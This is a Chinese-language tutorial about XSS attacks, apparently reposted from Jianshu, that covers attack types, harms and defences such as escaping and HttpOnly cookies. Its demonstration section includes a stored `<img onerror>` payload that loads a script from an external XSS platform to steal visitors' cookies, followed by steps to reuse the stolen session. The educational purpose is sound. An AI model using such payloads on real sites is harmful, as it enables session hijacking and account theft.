XSS攻擊

1、XSS

XSS(Cross Site Scripting)攻擊全稱跨站腳本攻擊,爲了不與CSS(Cascading Style Sheets)混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
通俗的來說就是我們的頁面在加載並且渲染繪製的過程中,如果加載並執行了意料之外的程序或代碼(腳本、樣式),就可以認爲是受到了 XSS攻擊。

  • XSS更多是發生在web前端的一種漏洞,所以危害的對象主要還是前端用戶。

     

    XSS

2、XSS的危害

  • 掛馬。
  • 盜取用戶Cookie、賬號等信息。
  • DOS(拒絕服務)客戶端瀏覽器。
  • 前端JS挖礦。
  • 釣魚攻擊,高級的釣魚技巧。
  • 刪除目標文章、惡意篡改數據、嫁禍。
  • 劫持用戶Web行爲,甚至進一步滲透內網。
  • 爆發Web2.0蠕蟲。
  • 蠕蟲式的DDoS攻擊。
  • 蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據

3、XSS分類

  • 反射型:
    也叫非持久型XSS,交互數據一般不會被存在數據庫裏面,一次性,所見即所得。一般XSS代碼出現在請求URL中,作爲參數提交到服務器,服務器解析並響應,響應結果中包含XSS代碼,最後瀏覽器解析並執行。

    場景:
    1、用戶A給用戶B發送一個惡意構造了Web的URL。
    2、用戶B點擊並查看了這個URL。
    3、用戶B獲取到一個具有漏洞的HTML頁面並顯示在本地瀏覽器中。
    4、漏洞HTML頁面執行惡意JavaScript腳本,將用戶B信息盜取發送給用戶A,或者篡改用戶B看到的數據等。

     

    反射型XSS

  • 存儲型:
    也叫持久型XSS,主要將XSS代碼提交存儲在服務器端(數據庫,內存,文件系統等),下次請求目標頁面時不用再提交XSS代碼。當目標用戶訪問該頁面獲取數據時,XSS代碼會從服務器解析之後加載出來,返回到瀏覽器做正常的HTML和JS解析執行,XSS攻擊就發生了。
    場景:
    1、用戶A在網頁上創建了某個賬戶,並且賬戶信息中包含XSS代碼。
    2、用戶B訪問該網站查看XSS代碼賬戶詳情頁面。
    3、服務端返回賬戶詳情頁面,和帶XSS賬戶信息。
    4、用戶B瀏覽器執行XSS代碼,將用戶B信息盜取發送給用戶A,或者篡改用戶B看到的數據等。

     

    存儲型XSS

  • DOM型
    一種特殊的反射型XSS。由客戶端的腳本程序可以動態地檢查和修改頁面內容,而不依賴於服務器端的數據。一般從url中提取數據中含xss,未過濾並在本地執行dom的渲染操作,輸入來源多是document.location、document.URL、document.URLUnencoded、document.referrer、window.location等,而觸發api多是document.write()、document.writeln()、document.innerHtml、eval()、window.execScript()、window.setInterval()、window.setTimeout()等。
    場景:
    1、用戶B訪問網站url中帶有XSS代碼參數。
    2、瀏覽器下載該網站JavaScript腳本。
    3、JavaScript腳本有個方法獲取URL中XSS代碼參數,並且用innerHtml渲染在dom中。
    4、觸發XSS代碼,造成XSS攻擊,cookie數據失竊。

     

    DOM型XSS

4、示例分析

1、入參不嚴謹,對入參沒做任何規則校驗。

2、用參太隨意,對未知參數未過濾,直接丟給dom操作。

漏洞演示:機密性 - 竊取用戶cookie信息

  • 步驟1:藉助https://xss.fbisb.com平臺,創建項目test

    步驟1

     

  • 步驟2:再利用平臺提供的xss代碼:https://xss.fbisb.com/JGtp

  •  

     

    步驟3:新建含xss代碼的賬戶:<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='xss代碼的url';>

    步驟3

  •  

     

    步驟4:別的用戶登錄查看包含該賬戶名的日誌信息,觸發XSS

    步驟4

  •  

     

    步驟5:fbisb.com平臺獲取到用戶cookie信息

    步驟5

  • 步驟6:利用無痕瀏覽器訪問目標網站,將cookie信息寫入,免登陸進入平臺

5、如何避免XSS攻擊

  1. innerHTML(原生)、v-html(vue)、dangerouslySetInnerHTML(react)等直接渲染html的函數慎用,確保渲染的數據是由前端寫死的、無危害的纔可直接使用;
  2. 使用innerHTML(原生)、v-html(vue)、dangerouslySetInnerHTML(react)等直接渲染html的函數渲染請求數據時,需要先把字符串轉義:
    1)、把 > 替換成 &gt;
    2)、把 < 替換成 &lt;
    3)、把 & 替換成 &amp``;
    4)、把 " 替換成 &quot``;
    5)、把 ' 替換成 &#39``;
  3. 字符過濾:
    1)、過濾掉特殊的HTML標籤,例如<script><iframe>等;
    2)、過濾掉Javascript事件標籤,例如"onclick""onfocus"等;
  4. Http Only cookie;
  5. 輸入檢查:對產品輸入要求格式嚴謹檢查過濾;

6、討論&思考

1.學習規範安全編碼
根在人爲,如果沒有規範的學習過前端知識,特別是安全規範知識,直接跨端做前端開發的時候,很多時候知道一個功能怎麼去實現,然後百度找api,找到api發現可以使用即可,通常會發生爲了實現功能而忽略安全。所以我們在找到可用api時,還得查歷該api是否存在安全隱患,需要如何規避、或者有其他更安全的api。

2.對不可信數據保持敏感
對於任何非前端代碼數預置數據,保持敏感對待,是否用於dom操作渲染,如果是則需要做相應的過濾處理,或者換其他安全實現方式。



作者:Chen_JF
鏈接:https://www.jianshu.com/p/2818a8b75aed
來源:簡書
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章